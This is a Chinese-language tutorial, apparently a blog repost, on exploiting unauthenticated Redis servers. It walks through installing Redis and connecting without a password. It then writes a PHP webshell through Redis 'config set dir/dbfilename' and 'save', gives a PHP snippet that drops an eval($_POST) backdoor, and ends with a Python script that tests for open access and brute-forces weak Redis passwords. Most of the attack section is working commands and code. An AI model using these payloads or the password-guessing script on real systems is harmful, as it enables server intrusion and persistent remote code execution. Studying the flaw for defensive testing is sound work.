0x01 环境搭建
#下载并安装 cd /tmp wget http://download.redis.io/releases/redis-2.8.17.tar.gz tar xzf redis-2.8.17.tar.gz cd redis-2.8.17 make #启动redis服务 cd src ./redis-server
启动redis服务进程后,就可以使用测试客户端程序redis-cli和redis服务交互了。 比如:
[email protected]:/tmp/redis-2.8.17/src# ./redis-cli -h 192.168.125.140 192.168.125.140:6379> ping PONG 192.168.125.140:6379>
0x02 未授权访问漏洞测试
使用redis客户端直接无账号成功登录redis:
从登录的结果可以看出该redis服务对公网开放,且未启用认证。
利用redis写webshell
利用前提:
1.redis未授权 能redis-cli连上
2.开了web并且知道路径(如利用phpinfo)
我们可以将dir设置为一个目录a,而dbfilename为文件名b,再执行save或bgsave,则我们就可以写入一个路径为a/b的任意文件:
config set dir /home/wwwroot/default/ config set dbfilename redis.php set webshell "<?php phpinfo(); ?>" save
当数据库过大时,redis写shell的小技巧:
<?php set_time_limit(0);$fp=fopen(‘wtf.php‘,‘w‘);fwrite($fp,‘<?php @eval($_POST[\"mmbns233\"]);?>‘);exit();?>
0x03 Pyhton脚本自动化测试
可用来测试是否存在未授权或弱口令的情况
#! /usr/bin/env python # _*_ coding:utf-8 _*_ import socket PASSWORD_DIC=[‘redis‘,‘root‘,‘oracle‘,‘password‘,‘[email protected]‘,‘abc123!‘,‘123456‘,‘admin‘] def check(ip, port, timeout): try: socket.setdefaulttimeout(timeout) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((ip, int(port))) s.send("INFO\r\n") result = s.recv(1024) if "redis_version" in result: return u"未授权访问" elif "Authentication" in result: for pass_ in PASSWORD_DIC: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((ip, int(port))) s.send("AUTH %s\r\n" %(pass_)) result = s.recv(1024) if ‘+OK‘ in result: return u"存在弱口令,密码:%s" % (pass_) except Exception, e: pass print check("192.168.125.140", "6379", timeout=10)
参考文章:
Redis 安装 http://www.runoob.com/redis/redis-install.html
Redis未授权访问漏洞 http://blog.csdn.net/Hu_wen/article/details/55189777?locationNum=15&fps=1
时间: 2024-11-11 06:34:11